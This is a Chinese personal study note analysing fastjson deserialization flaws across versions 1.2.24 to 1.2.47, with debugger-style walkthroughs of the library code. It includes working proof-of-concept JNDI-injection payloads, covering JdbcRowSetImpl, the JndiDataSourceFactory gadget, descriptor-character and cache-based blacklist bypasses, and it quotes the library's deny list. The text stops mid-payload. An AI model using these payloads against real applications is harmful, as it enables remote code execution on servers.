fastjson反序列化漏洞
本文最后更新于 35 天前,其中的信息可能已经有所发展或是发生改变。

个人笔记,待更新

流程分析

反序列化

反序列化JSON

package org.example;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.JSON;

public class JSONUnserialize {
    public static void main(String[] args) {
        String s = "{\"age\": 10, \"name\": \"admin\"}";
        JSONObject jsonObject = JSON.parseObject(s);
        System.printLn(jsonObject.getString("age"));
    }
}

反序列化一个对象

package org.example;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.JSON;


public class JSONUnserialize {
    public static void main(String[] args) {
        String s = "{\"age\": 10, \"name\": \"admin\"}";
        Person person = JSON.parseObject(s, Person.class);
        System.out.println(person.getAge());
    }
}

调用顺序:constructor→setXXX

反序列化JSON,但是可以通过@type控制反序列化后生成的类。

package org.example;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.JSON;


public class JSONUnserialize {
    public static void main(String[] args) {
        String s = "{\"@type\": \"org.example.Person\", \"age\": 10, \"name\": \"admin\"}";
        JSONObject jsonObject = JSON.parseObject(s);
        System.out.println(jsonObject);
    }
}

调用顺序:constructor→setXXX

parseObject流程分析

实例化时JSONObject对象实际上是使用了Map<String, String>作为Constructor对象传入

JSON.java → parseObject(String text);

    public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        if (obj instanceof JSONObject) {
            return (JSONObject) obj;
        }

        return (JSONObject) JSON.toJSON(obj);
    }

调用parse(text)

    public static Object parse(String text) {
        return parse(text, DEFAULT_PARSER_FEATURE);
    }

调用parse(text, DEFAULT_PARSER_FEATURE);。其中features表示你解析时的要求,例如是否能解析单引号,逗号,空格处理方式等等。这里实例化一个DefaultJSONParser,并调用该类的parse()方法。

    public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        }

        DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
        Object value = parser.parse();

        parser.handleResovleTask(value);

        parser.close();

        return value;
    }

parse()方法调用了另一个parse(null);方法

    public Object parse() {
        return parse(null);
    }

定义JSONLexer获取传入的json参数,该函数通过对token分析,进入分支。

    public Object parse(Object fieldName) {
        final JSONLexer lexer = this.lexer;
        switch (lexer.token()) {
            case SET:
                lexer.nextToken();
                HashSet<Object> set = new HashSet<Object>();
                parseArray(set, fieldName);
                return set;
            case TREE_SET:
                lexer.nextToken();
                TreeSet<Object> treeSet = new TreeSet<Object>();
                parseArray(treeSet, fieldName);
                return treeSet;
            case LBRACKET:
                JSONArray array = new JSONArray();
                parseArray(array, fieldName);
                if (lexer.isEnabled(Feature.UseObjectArray)) {
                    return array.toArray();
                }
                return array;
            case LBRACE:
                JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
                return parseObject(object, fieldName);
            case LITERAL_INT:
                Number intValue = lexer.integerValue();
                lexer.nextToken();
                return intValue;
            case LITERAL_FLOAT:
                Object value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
                lexer.nextToken();
                return value;
            case LITERAL_STRING:
                String stringLiteral = lexer.stringVal();
                lexer.nextToken(JSONToken.COMMA);

                if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
                    JSONScanner iso8601Lexer = new JSONScanner(stringLiteral);
                    try {
                        if (iso8601Lexer.scanISO8601DateIfMatch()) {
                            return iso8601Lexer.getCalendar().getTime();
                        }
                    } finally {
                        iso8601Lexer.close();
                    }
                }

                return stringLiteral;
            case NULL:
                lexer.nextToken();
                return null;
            case UNDEFINED:
                lexer.nextToken();
                return null;
            case TRUE:
                lexer.nextToken();
                return Boolean.TRUE;
            case FALSE:
                lexer.nextToken();
                return Boolean.FALSE;
            case NEW:
                lexer.nextToken(JSONToken.IDENTIFIER);

                if (lexer.token() != JSONToken.IDENTIFIER) {
                    throw new JSONException("syntax error");
                }
                lexer.nextToken(JSONToken.LPAREN);

                accept(JSONToken.LPAREN);
                long time = ((Number) lexer.integerValue()).longValue();
                accept(JSONToken.LITERAL_INT);

                accept(JSONToken.RPAREN);

                return new Date(time);
            case EOF:
                if (lexer.isBlankInput()) {
                    return null;
                }
                throw new JSONException("unterminated json string, " + lexer.info());
            case ERROR:
            default:
                throw new JSONException("syntax error, " + lexer.info());
        }
    }

首先获取第一个字符,使用lexer.token()获取,这里我们获取到的第一个字符为左大括号,进入case LBRACE逻辑。这里创建一个新的JSONObject对象,并调用parseObject(object, fieldName)方法。

    public Object parse(Object fieldName) {
        final JSONLexer lexer = this.lexer;
        switch (lexer.token()) {
            ...
            case LBRACE:
                JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
                return parseObject(object, fieldName);
            ...
        }
    }

跟进return parseObject(object, fieldName);这里实现了大部分逻辑。首先是对前置的边界值进行一些处理,进入try...catch...逻辑中的死循环for(;;),获取字符串的第一个字符,我们这里传入的是双引号,跳过逗号判断逻辑。

进入双引号逻辑,读出@type

进入最重要的逻辑,判断是否是特殊字符或者是JSON.DEFAULT_TYPE_KEY。通过debug可以看到这里的key就是@type。如果是@type,则进行Java的反序列化。

调用loadClass,加载类

加载类后,如果Object不为空,往其中放入键值对

最后进入到解析对象逻辑,先获取反序列化器,通过反序列化器进行反序列化

先跟进ParserConfig中的getDeserializer,首先会根据缓存查找传入的类

getDeserializer中存在黑名单,禁止调用黑名单中的对象

接着根据包名进行一系列处理(都没进去),到最后进入createJavaBeanDeserializer,创建一个JavaBean

createJavaBeanDeserializer中调用build函数,根据构造函数、set函数、get函数获取相应的函数类,遍历所有method,获取setter/getter/字段等等。这部分是获取setter。

        for (Method method : methods) { //
            int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;
            String methodName = method.getName();
            if (methodName.length() < 4) {
                continue;
            }

            if (Modifier.isStatic(method.getModifiers())) {
                continue;
            }

            // support builder set
            if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
                continue;
            }
            Class<?>[] types = method.getParameterTypes();
            if (types.length != 1) {
                continue;
            }

            JSONField annotation = method.getAnnotation(JSONField.class);

            if (annotation == null) {
                annotation = TypeUtils.getSuperMethodAnnotation(clazz, method);
            }

            if (annotation != null) {
                if (!annotation.deserialize()) {
                    continue;
                }

                ordinal = annotation.ordinal();
                serialzeFeatures = SerializerFeature.of(annotation.serialzeFeatures());
                parserFeatures = Feature.of(annotation.parseFeatures());

                if (annotation.name().length() != 0) {
                    String propertyName = annotation.name();
                    add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, ordinal, serialzeFeatures, parserFeatures, 
                                                 annotation, null, null));
                    continue;
                }
            }

            if (!methodName.startsWith("set")) { // TODO "set"的判断放在 JSONField 注解后面,意思是允许非 setter 方法标记 JSONField 注解?
                continue;
            }

            char c3 = methodName.charAt(3);

            String propertyName;
            if (Character.isUpperCase(c3) //
                || c3 > 512 // for unicode method name
            ) {
                if (TypeUtils.compatibleWithJavaBean) {
                    propertyName = TypeUtils.decapitalize(methodName.substring(3));
                } else {
                    propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
                }
            } else if (c3 == '_') {
                propertyName = methodName.substring(4);
            } else if (c3 == 'f') {
                propertyName = methodName.substring(3);
            } else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))) {
                propertyName = TypeUtils.decapitalize(methodName.substring(3));
            } else {
                continue;
            }

            Field field = TypeUtils.getField(clazz, propertyName, declaredFields);
            if (field == null && types[0] == boolean.class) {
                String isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);
                field = TypeUtils.getField(clazz, isFieldName, declaredFields);
            }

            JSONField fieldAnnotation = null;
            if (field != null) {
                fieldAnnotation = field.getAnnotation(JSONField.class);

                if (fieldAnnotation != null) {
                    if (!fieldAnnotation.deserialize()) {
                        continue;
                    }
                    
                    ordinal = fieldAnnotation.ordinal();
                    serialzeFeatures = SerializerFeature.of(fieldAnnotation.serialzeFeatures());
                    parserFeatures = Feature.of(fieldAnnotation.parseFeatures());

                    if (fieldAnnotation.name().length() != 0) {
                        propertyName = fieldAnnotation.name();
                        add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal,
                                                     serialzeFeatures, parserFeatures, annotation, fieldAnnotation, null));
                        continue;
                    }
                }

            }
            
            if (propertyNamingStrategy != null) {
                propertyName = propertyNamingStrategy.translate(propertyName);
            }

            add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures,
                                         annotation, fieldAnnotation, null));
        }

getter中,需要满足返回值为Collection/Map/AtomicBoolean/AtomicInteger/AtomicLong这几种之一,且该getter方法没有对应的setter方法时被加入到方法列表。

                if (Collection.class.isAssignableFrom(method.getReturnType()) //
                    || Map.class.isAssignableFrom(method.getReturnType()) //
                    || AtomicBoolean.class == method.getReturnType() //
                    || AtomicInteger.class == method.getReturnType() //
                    || AtomicLong.class == method.getReturnType() //
                ) {
                    String propertyName;

                    JSONField annotation = method.getAnnotation(JSONField.class);
                    if (annotation != null && annotation.deserialize()) {
                        continue;
                    }
                    
                    if (annotation != null && annotation.name().length() > 0) {
                        propertyName = annotation.name();
                    } else {
                        propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
                    }
                    
                    FieldInfo fieldInfo = getField(fieldList, propertyName);
                    if (fieldInfo != null) {
                        continue;
                    }

                    if (propertyNamingStrategy != null) {
                        propertyName = propertyNamingStrategy.translate(propertyName);
                    }
                    
                    add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, 0, 0, 0, annotation, null, null));
                }

到build逻辑之外,最后走了一遍asmEnable的逻辑判断,最后为true,判断为true后临时创建一个反序列化器,无法调试,需要判断为false使用默认的反序列化器。在反序列化类添加一个getter方法,该getter方法返回一个Collection/Map/AtomicBoolean/AtomicInteger/AtomicLong,且该属性没有setter方法,使得getOnly为true。后面根据该反序列化器给对象赋值,实际上是调用setter方法。getter方法在parseObject中的toJSON中被调用,且在满足特殊类型时,在getter中也被调用。

漏洞类满足条件:

  • setter方法中存在危险操作

1.2.24漏洞利用

总结

  • 原生反序列化链中需要实现Serializable接口,但是fastjson反序列化不需要
  • 原生反序列化链变量需要transient、readObject,fastjson需要有对应的setter或public
  • 都需要反射、动态类加载最后执行恶意方法

com.sun.rowset.JdbcRowSetImpl

JNDI注入

package org.example;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.JSON;


public class JSONUnserialize {
    public static void main(String[] args) {
        String s = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"DatasourceName\":\"ldap://127.0.0.1:8085/wgDVGyHf\",\"autoCommit\":false}";
        JSON.parseObject(s);
    }
}

利用类com.sun.rowset.JdbcRowSetImpl的setAutoCommit

    public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

调用this.connect(),发起请求

    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

1.2.25<=fastjson<=1.2.41漏洞利用

反序列化漏洞爆出后,fastjson对相关漏洞进行了修复,其中主要修复在ParserConfig.java中。

引入了反序列化的黑名单和白名单,并引入了autoType,默认值为false。

    private boolean                                         autoTypeSupport       = AUTO_SUPPORT;
    private String[]                                        denyList              = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.apache.xalan,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
    private String[]                                        acceptList            = AUTO_TYPE_ACCEPT_LIST;

这里的黑名单基本干掉了所有可能存在反序列化漏洞的类,我们使用之前的poc,尝试调试一下。

跟进到checkAutoType,如果没有开启autoType,进入第一个if语句,首先将输入值与白名单上的值进行对比,如果输入值在白名单中,调用loadClass加载该类;接着遍历黑名单,如果该输入值在黑名单中,抛出异常。

        if (autoTypeSupport || expectClass != null) {
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
            }

            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

如果autoType为false,首先遍历黑名单,如果输入值在黑名单中抛出异常;接着遍历白名单,如果该值在白名单中进行加载;

        if (!autoTypeSupport) {
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    if (clazz == null) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    }

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                    return clazz;
                }
            }
        }

当该类不在白名单且不在黑名单中时,开启了autoType或者expectClass不为空,才会加载这个类。

注意到加载类调用了TypeUtils.loadClass(typeName, defaultClassLoader, false);该类在loadClass时检查了字符串开头是否为[,以及开头结尾是否分别为L;。如果满足条件,对字符串进行截取。

    public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
        if(className == null || className.length() == 0){
            return null;
        }
        Class<?> clazz = mappings.get(className);
        if(clazz != null){
            return clazz;
        }
        if(className.charAt(0) == '['){
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }
        if(className.startsWith("L") && className.endsWith(";")){
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }
        try{
            if(classLoader != null){
                clazz = classLoader.loadClass(className);
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            e.printStackTrace();
            // skip
        }
        try{
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
            if(contextClassLoader != null && contextClassLoader != classLoader){
                clazz = contextClassLoader.loadClass(className);
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            // skip
        }
        try{
            clazz = Class.forName(className);
            mappings.put(className, clazz);
            return clazz;
        } catch(Throwable e){
            // skip
        }
        return clazz;
    }

而这里的处理存在逻辑漏洞,攻击者如果通过特殊字符包裹恶意对象传入,绕过黑名单限制,在loadClass中删去L;,即可完成反序列化。

package org.example;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class JSONUnserialize {
    public static void main(String[] args) {
        String s = "{\"@type\": \"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DatasourceName\":\"ldap://127.0.0.1:8085/wgDVGyHf\",\"autoCommit\":false}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(s);
    }
}

1.2.25<=fastjson<=1.2.42漏洞利用

在版本 1.2.42 中,fastjson 继续延续了黑白名单的检测模式,但是将黑名单类从白名单修改为使用 HASH 的方式进行对比,这是为了防止安全研究人员根据黑名单中的类进行反向研究,用来对未更新的历史版本进行攻击。同时,作者对之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。

查看ParserConfig.java代码,其中对黑名单进行了hash处理

        denyHashCodes = new long[]{
                -8720046426850100497L,
                -8109300701639721088L,
                -7966123100503199569L,
                -7766605818834748097L,
                -6835437086156813536L,
                -4837536971810737970L,
                -4082057040235125754L,
                -2364987994247679115L,
                -1872417015366588117L,
                -254670111376247151L,
                -190281065685395680L,
                33238344207745342L,
                313864100207897507L,
                1203232727967308606L,
                1502845958873959152L,
                3547627781654598988L,
                3730752432285826863L,
                3794316665763266033L,
                4147696707147271408L,
                5347909877633654828L,
                5450448828334921485L,
                5751393439502795295L,
                5944107969236155580L,
                6742705432718011780L,
                7179336928365889465L,
                7442624256860549330L,
                8838294710098435315L
        };

在checkAutoType中,对字符串是否是以L开头,以;结尾进行判断,如果是的话进行去除,随后传入loadClass()逻辑。这里可以复写L;,在checkAutoType中双写绕过,在loadClass中删除。该方法在旧版本依然有效。

POC

package org.example;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class JSONUnserialize {
    public static void main(String[] args) {
        String s = "{\"@type\": \"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"DatasourceName\":\"ldap://127.0.0.1:8085/wgDVGyHf\",\"autoCommit\":false}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(s);
    }
}

1.2.25 <= fastjson <= 1.2.43漏洞利用

1.2.43中,再次修改checkAutoType的逻辑,如果存在复写,抛出异常

        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;

        if ((((BASIC
                ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(className.length() - 1))
                * PRIME == 0x9198507b5af98f0L)
        {
            if ((((BASIC
                    ^ className.charAt(0))
                    * PRIME)
                    ^ className.charAt(1))
                    * PRIME == 0x9195c07b5af5345L)
            {
                throw new JSONException("autoType is not support. " + typeName);
            }
            // 9195c07b5af5345
            className = className.substring(1, className.length() - 1);
        }

目光转向[,依然可以通过[绕过,只是格式稍微进行变化。

{
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[,
    {"dataSourceName":"ldap://127.0.0.1:8085/wgDVGyHf",
    "autoCommit":true
}
package org.example;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class JSONUnserialize {
    public static void main(String[] args) {
        String s = "{\"@type\": \"[com.sun.rowset.JdbcRowSetImpl\"[,{\"DatasourceName\":\"ldap://127.0.0.1:8085/wgDVGyHf\",\"autoCommit\":false}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(s);
    }
}

fastjson=1.2.44

[进行修复,如果类名以[开始则抛出异常。

1.2.25 <= fastjson <= 1.2.45漏洞利用

该版本爆出可以绕过黑名单的类

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:8085/wgDVGyHf"
    }
}

poc

package org.example;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class JSONUnserialize {
    public static void main(String[] args) {
//        String s = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",{\"DatasourceName\":\"ldap://127.0.0.1:8085/wgDVGyHf\",\"autoCommit\":false}";
        String s = "{\"@type\": \"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:8085/wgDVGyHf\"}}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(s);
    }
}

该黑名单类需要有ibatis依赖,在pom.xml中引入

        <dependency>
            <groupId>org.mybatis.spring.boot</groupId>
            <artifactId>mybatis-spring-boot-starter</artifactId>
            <version>2.0.0</version>
        </dependency>
        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>5.1.45</version>
        </dependency>

路径在mybatis-3.5.0.jar/org/apache/ibatis/datasource/jndi/JndiDataSourceFactory中的setProperties函数,通过data_source参数触发

  @Override
  public void setProperties(Properties properties) {
    try {
      InitialContext initCtx;
      Properties env = getEnvProperties(properties);
      if (env == null) {
        initCtx = new InitialContext();
      } else {
        initCtx = new InitialContext(env);
      }

      if (properties.containsKey(INITIAL_CONTEXT)
          && properties.containsKey(DATA_SOURCE)) {
        Context ctx = (Context) initCtx.lookup(properties.getProperty(INITIAL_CONTEXT));
        dataSource = (DataSource) ctx.lookup(properties.getProperty(DATA_SOURCE));
      } else if (properties.containsKey(DATA_SOURCE)) {
        dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
      }

    } catch (NamingException e) {
      throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
    }
  }

1.2.25 <= fastjson <= 1.2.47漏洞利用

漏洞影响版本

  • 1.2.25——1.2.32 未开启AutoTypeSupport
  • 1.2.25——1.2.47

漏洞点还是在checkAutoType中,给上JavaSec的注释版本

 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        // 类名非空判断
        if (typeName == null) {
            return null;
        }
        // 类名长度判断,不大于128不小于3
        if (typeName.length() >= 128 || typeName.length() < 3) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        String className = typeName.replace('$', '.');
        Class<?> clazz = null;

        final long BASIC = 0xcbf29ce484222325L; //;
        final long PRIME = 0x100000001b3L;  //L

        final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
        // 类名以 [ 开头抛出异常
        if (h1 == 0xaf64164c86024f1aL) { // [
            throw new JSONException("autoType is not support. " + typeName);
        }
        // 类名以 L 开头以 ; 结尾抛出异常
        if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        final long h3 = (((((BASIC ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(1))
                * PRIME)
                ^ className.charAt(2))
                * PRIME;
        // autoTypeSupport 为 true 时,先对比 acceptHashCodes 加载白名单项
        if (autoTypeSupport || expectClass != null) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                // 在对比 denyHashCodes 进行黑名单匹配
                // 如果黑名单有匹配并且 TypeUtils.mappings 里没有缓存这个类
                // 则抛出异常
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        // 尝试在 TypeUtils.mappings 中查找缓存的 class
        if (clazz == null) {
            clazz = TypeUtils.getClassFromMapping(typeName);
        }

        // 尝试在 deserializers 中查找这个类
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        // 如果找到了对应的 class,则会进行 return
        if (clazz != null) {
            if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }

        // 如果没有开启 AutoTypeSupport ,则先匹配黑名单,在匹配白名单,与之前逻辑一致
        if (!autoTypeSupport) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                char c = className.charAt(i);
                hash ^= c;
                hash *= PRIME;

                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    if (clazz == null) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    }

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    return clazz;
                }
            }
        }
        // 如果 class 还为空,则使用 TypeUtils.loadClass 尝试加载这个类
        if (clazz == null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
        }

        if (clazz != null) {
            if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
                return clazz;
            }

            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }

            JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
            if (beanInfo.creatorConstructor != null && autoTypeSupport) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }

        final int mask = Feature.SupportAutoType.mask;
        boolean autoTypeSupport = this.autoTypeSupport
                || (features & mask) != 0
                || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

        if (!autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        return clazz;
    }

存在一个逻辑问题:当autoType为true时,也会禁止黑名单的反序列化,但是需要满足两个条件,即该类在黑名单中,且TypeUtils.mappings中没有该类的缓存时才存在异常。

在 autoTypeSupport 为默认的 false 时,程序直接检查黑名单并抛出异常,在这部分我们无法通过以上的方式绕过,所以我们的关注点就在判断之前,程序有在 TypeUtils.mappings 中和 deserializers 中尝试查找要反序列化的类,如果找到了,则就会 return,这就避开下面 autoTypeSupport 默认为 false 时的检查。

        // 尝试在 TypeUtils.mappings 中查找缓存的 class
        if (clazz == null) {
            clazz = TypeUtils.getClassFromMapping(typeName);
        }

        // 尝试在 deserializers 中查找这个类
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        // 如果找到了对应的 class,则会进行 return
        if (clazz != null) {
            if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }

这是1.2.32版本

        Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        if (clazz != null) {
            if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }

其中deserializers不可控,重点关注TypeUtils.getClassFromMapping(typeName);该函数从mappings中获取className,其中mappings是一个ConcurrentMap<String, Class<?>>类,通过键名找键值。

    private static ConcurrentMap<String, Class<?>> mappings = new ConcurrentHashMap<String, Class<?>>(16, 0.75f, 1);
    ...
    public static Class<?> getClassFromMapping(String className) {
        return mappings.get(className);
    }

该类共有两种为mappings赋值的方式

  • addBaseClassMappings():无入参,加载
  • loadClass():关键函数

其中loadClass()有多个重载函数

  • Class<?> loadClass(String className, ClassLoader classLoader, boolean cache):调用链均在 checkAutoType() 和 TypeUtils 里自调用,略过。
  • Class<?> loadClass(String className):除了自调用,有一个 castToJavaBean() 方法
  • Class<?> loadClass(String className, ClassLoader classLoader):方法调用三个参数的重载方法,并添加参数 true ,也就是会加入参数缓存中

重点关注第三个重载方法

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className == null || className.length() == 0) {
            return null;
        }

        Class<?> clazz = mappings.get(className);

        if (clazz != null) {
            return clazz;
        }

        if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }

        if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }

        try {
            if (classLoader != null) {
                clazz = classLoader.loadClass(className);
                mappings.put(className, clazz);

                return clazz;
            }
        } catch (Throwable e) {
            e.printStackTrace();
            // skip
        }

        try {
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

            if (contextClassLoader != null && contextClassLoader != classLoader) {
                clazz = contextClassLoader.loadClass(className);
                mappings.put(className, clazz);

                return clazz;
            }
        } catch (Throwable e) {
            // skip
        }

        try {
            clazz = Class.forName(className);
            mappings.put(className, clazz);

            return clazz;
        } catch (Throwable e) {
            // skip
        }

        return clazz;
    }

查看调用该方法的类,来到MiscCodec.java,这是一个用来处理类的反序列化类。

com.alibaba.fastjson.serializer.MiscCodec#deserialze中,存在loadClass调用,前提是clazz == Class.class

构造恶意json,

{"@type": "java.lang.Class", "val": "a"}

parseObject中进入parse

创建DefaultJSONParser对象,并对其进行解析。

调用parse,最后调用parseObject,走到checkAutoType解析

调用deserializers.findClass

由于 deserializers 在初始化时将 Class.class 进行了加载,因此使用 findClass 可以找到,越过了后面 AutoTypeSupport 的检查

DefaultJSONParser.parseObject() 设置 resolveStatus 为 TypeNameRedirect。

DefaultJSONParser.parseObject() 根据不同的 class 类型分配 deserialzer,Class 类型由 MiscCodec.deserialze() 处理。

找到deserializer为MiscCodec,跟进MiscCodec的deserialze方法,根据val的值取出objVal

获取strVal

最后到loadClass逻辑,这里的Clazz==Class.class,此时strVal为我们传入的a,该类被加载进缓存

再次请求后可以绕过阻拦,poc为

package org.example;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class JSONUnserialize {
    public static void main(String[] args) {
        String s = "{\"a\": {\"@type\": \"java.lang.Class\", \"val\": \"com.sun.rowset.JdbcRowSetImpl\"}, \"b\": {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:8085/wgDVGyHf\", \"autoCommit\": false}}";
        JSON.parseObject(s);
    }
}

json

{
    "a": {
